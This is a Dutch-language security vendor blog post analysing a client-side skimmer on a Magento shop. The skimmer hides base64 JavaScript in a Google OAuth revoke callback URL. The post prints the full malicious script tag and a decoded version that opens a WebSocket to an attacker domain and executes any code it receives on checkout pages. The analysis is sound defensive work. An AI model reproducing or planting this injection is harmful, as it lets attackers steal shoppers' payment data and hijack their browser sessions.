Kort samengevat: valse Google OAuth-scriptinjectie ontdekken
- Een vertrouwd domein misbruikt: Als een script src met accounts.google.com begint, kijkt niemand twee keer. Precies daarom richtten aanvallers een callback daarnaartoe en propten base64-JavaScript in de URL-parameter om binnen je checkoutpagina te draaien.
- Hoe cside het ving: Op de Magento-site parts[.]expert ving cside een geweaponiseerde OAuth revoke-URL die eval(atob(...)) uitvoerde en een WebSocket opende naar livechatinc[.]network/chatpipe/029/, een domein dat VirusTotal als kwaadaardig markeert. Het script vuurde alleen op checkout-URLs, dus een statische crawler had het gemist.
- Vertrouw op runtimegedrag: Vertrouw een script niet meer op zijn parent-domein. Vertrouw op het runtimegedrag. Als een Google-URL tijdens checkout een WebSocket opent naar een chatdomein, ziet je platform het live of betalen je klanten voor de vertraging.
Weinig tijd? Bekijk cside's in-browser blokkering van Magecart en skimmers. Dit dekt alles hieronder in één deployment.
We analyseerden een bijzonder slimme client-side aanval op een Magento-gebaseerde eCommerce-website parts[.]expert. Hoewel het geen domein met veel verkeer is, verdient de hier gebruikte injectietechniek aandacht, want ze verbergt zich in het volle zicht.
De aanvaller gebruikt 'Google.com' om eigen code te leveren en uit te voeren, en misbruikt OAuth-beveiligingsmaatregelen. Dit kan mogelijk Google-accountgegevens en toegangstokens in gevaar brengen.
Wat We Vonden
Ons systeem markeerde een script afkomstig van een onverwachte URL:
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

Op het eerste gezicht lijkt het een legitieme OAuth-uitlog-URL van de autorisatieserver:
accounts.google.com/o/oauth2/revoke.
Maar bij nadere inspectie blijkt de callback-parameter bewapend te zijn om een verborgen JavaScript-payload uit te voeren via eval(atob(...)).

Stap-voor-Stap Analyse
De base64-gecodeerde payload in de callback decodeert naar een ander verborgen script, dat dynamisch een kwaadaardige WebSocket-verbinding opzet naar een door de aanvaller beheerd domein, wat ernstige WebSocket-beveiligingsproblemen oplevert. Gedecodeerd ziet het er als volgt uit:
(function() {
let setupMaliciousWebSocket = () => {
// Verbinding maken met de WebSocket-server van de aanvaller
const ws = new WebSocket("wss:/livechatinc.network/chatpipe/029/");
// Alle ontvangen code van de server uitvoeren
ws.onmessage = (event) => {
const maliciousCode = atob(event.data); // Base64 decoderen
new Function(maliciousCode).call(event.target); // Dynamisch uitvoeren
};
};
// Uitvoeren als:
// 1. De browser geautomatiseerd is (bijv. bots), OF
// 2. De URL 'checkout' bevat (bijv. betaalpagina)
if (navigator.webdriver || window.location.href.match('checkout')) {
setupMaliciousWebSocket();
}
})();
Wat Het Script Doet
- Maakt verbinding met een kwaadaardige WebSocket-server als de pagina-URL checkout bevat. Of, als de browser geautomatiseerd lijkt, opent het een wss://-verbinding naar livechatinc[.]network/chatpipe/029/. Dat domein is al gemarkeerd als kwaadaardig: VirusTotal-link. Dit zijn schoolvoorbeelden van WebSocket-aanvallen in de praktijk.
- Ontvangt en voert externe payloads uit: Alle base64-gecodeerde berichten die via de WebSocket worden verzonden, worden gedecodeerd en uitgevoerd met new Function(...). Dit geeft de aanvaller volledige mogelijkheden voor externe uitvoering binnen de browsersessie van de gebruiker, een techniek die vaak wordt ingezet bij OAuth-phishing en andere OAuth-aanvallen, en kan leiden tot een datalek waarbij gevoelige informatie zoals e-mailadressen en betaalgegevens wordt onderschept.
- Timing- en contextbewust: Het script wordt specifiek geactiveerd op afrekenpagina's, waarschijnlijk om betaalgegevens te onderscheppen of in real time frauduleuze elementen in te voegen.
Waarom Dit Belangrijk Is
- Ziet er legitiem uit: Het lijkt te laden vanaf een Google-domein dat lijkt op verkeer van Google OAuth-kwetsbaarheden, waardoor de meeste beveiligingstools het blindelings vertrouwen. Een CSP kan deze aanval niet onderscheppen, omdat het vertrouwde domein Google.com gewoon doorgelaten wordt. Een DNS-filter op het apparaat van een gebruiker is evenmin effectief.
- Omzeilt statische scanners: De gevaarlijke logica zit twee lagen diep verborgen in obfuscatie en wordt alleen uitgevoerd onder specifieke omstandigheden, waardoor het bijzonder moeilijk te detecteren is voor organisaties zonder een gekwalificeerde beveiligingsbeoordelaar (QSA).
- Real-time controle: WebSocket-gebaseerde payloads stellen aanvallers in staat om dynamische kwaadaardige logica te pushen op basis van gebruikersacties.
We hebben eerder domeinimitatie en verborgen loaders gezien, maar deze combinatie van OAuth-misleiding en voorwaardelijk getriggerde live-controle gaat een stap verder.
Ons product bij cside kon deze aanval identificeren en onderscheppen. We ontvangen de volledige payload van het opgehaalde script en analyseren deze voordat het naar de browser wordt doorgestuurd.









